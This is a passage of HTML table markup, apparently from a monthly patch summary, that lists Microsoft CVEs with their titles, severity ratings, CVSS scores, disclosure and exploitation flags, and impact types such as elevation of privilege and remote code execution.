  <td width="263" class="xl66"><span> </span>Microsoft Office Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">8.4</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26125"><span><span> </span>CVE-2026-26125<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Payment Orchestrator Service Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">8.6</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26131"><span><span> </span>CVE-2026-26131<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>.NET Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25177"><span><span> </span>CVE-2026-25177<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Active Directory Domain Services Elevation
  of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26117"><span><span> </span>CVE-2026-26117<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Arc Enabled Servers - Azure Connected
  Machine Agent Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26130"><span><span> </span>CVE-2026-26130<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>ASP.NET Core Denial of Service
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23661"><span><span> </span>CVE-2026-23661<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure IoT Explorer Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23662"><span><span> </span>CVE-2026-23662<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure IoT Explorer Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23664"><span><span> </span>CVE-2026-23664<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure IoT Explorer Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26121"><span><span> </span>CVE-2026-26121<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure IOT Explorer Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26118"><span><span> </span>CVE-2026-26118<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure MCP Server Tools Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23667"><span><span> </span>CVE-2026-23667<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Broadcast DVR Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25190"><span><span> </span>CVE-2026-25190<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>GDI Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25181"><span><span> </span>CVE-2026-25181<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>GDI+ Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="97">
  <td class="xl72" height="97"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26030"><span><span> </span>CVE-2026-26030 *</span></a></td>
  <td width="263" class="xl66"><span> </span>GitHub: CVE-2026-26030 Microsoft Semantic
  Kernel InMemoryVectorStore filter functionality vulnerable<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">9.9</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23654"><span><span> </span>CVE-2026-23654 *</span></a></td>
  <td width="263" class="xl66"><span> </span>GitHub: Zero Shot SCFoundation Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26141"><span><span> </span>CVE-2026-26141<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Hybrid Worker Extension (Arc-enabled Windows
  VMs) Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23665"><span><span> </span>CVE-2026-23665 †</span></a></td>
  <td width="263" class="xl66"><span> </span>Linux Azure Diagnostic extension (LAD)
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23674"><span><span> </span>CVE-2026-23674<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>MapUrlToZone Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26123"><span><span> </span>CVE-2026-26123<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Authenticator Information
  Disclosure Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26148"><span><span> </span>CVE-2026-26148 †</span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Azure AD SSH Login extension for
  Linux Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.1</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25167"><span><span> </span>CVE-2026-25167<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Brokering File System Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.4</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26107"><span><span> </span>CVE-2026-26107<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26108"><span><span> </span>CVE-2026-26108<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26109"><span><span> </span>CVE-2026-26109<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.4</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26112"><span><span> </span>CVE-2026-26112<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26134"><span><span> </span>CVE-2026-26134<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Office Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26106"><span><span> </span>CVE-2026-26106<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft SharePoint Server Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26114"><span><span> </span>CVE-2026-26114<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft SharePoint Server Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26105"><span><span> </span>CVE-2026-26105<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft SharePoint Server Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.1</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24283"><span><span> </span>CVE-2026-24283<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Multiple UNC Provider Kernel Driver
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25165"><span><span> </span>CVE-2026-25165<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Performance Counters for Windows Elevation
  of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24282"><span><span> </span>CVE-2026-24282<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Push message Routing Service Elevation of
  Privilege Vulnerability</td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26115"><span><span> </span>CVE-2026-26115<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>SQL Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26116"><span><span> </span>CVE-2026-26116<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>SQL Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20967"><span><span> </span>CVE-2026-20967<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>System Center Operations Manager (SCOM)
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24285"><span><span> </span>CVE-2026-24285<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Win32k Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24291"><span><span> </span>CVE-2026-24291<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Accessibility Infrastructure
  (ATBroker.exe) Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25186"><span><span> </span>CVE-2026-25186<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Accessibility Infrastructure
  (ATBroker.exe) Information Disclosure Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23660"><span><span> </span>CVE-2026-23660 †</span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Admin Center in Azure Portal
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24293"><span><span> </span>CVE-2026-24293<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25176"><span><span> </span>CVE-2026-25176<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25178"><span><span> </span>CVE-2026-25178<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25179"><span><span> </span>CVE-2026-25179<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23656"><span><span> </span>CVE-2026-23656<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows App Installer Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.9</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25171"><span><span> </span>CVE-2026-25171<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Authentication Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23671"><span><span> </span>CVE-2026-23671<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Bluetooth RFCOM Protocol Driver
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24292"><span><span> </span>CVE-2026-24292<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Connected Devices Platform Service
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24295"><span><span> </span>CVE-2026-24295<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Device Association Service Elevation
  of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24296"><span><span> </span>CVE-2026-24296<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Device Association Service Elevation
  of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25189"><span><span> </span>CVE-2026-25189<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows DWM Core Library Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25174"><span><span> </span>CVE-2026-25174<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Extensible File Allocation Table
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25168"><span><span> </span>CVE-2026-25168<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Graphics Component Denial of Service
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">6.2</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25169"><span><span> </span>CVE-2026-25169<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Graphics Component Denial of Service
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">6.2</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23668"><span><span> </span>CVE-2026-23668<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Graphics Component Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25180"><span><span> </span>CVE-2026-25180<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Graphics Component Information
  Disclosure Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25170"><span><span> </span>CVE-2026-25170<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Hyper-V Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24297"><span><span> </span>CVE-2026-24297<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Kerberos Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">6.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">SFB</td>
 </tr>
 <tr height="47">
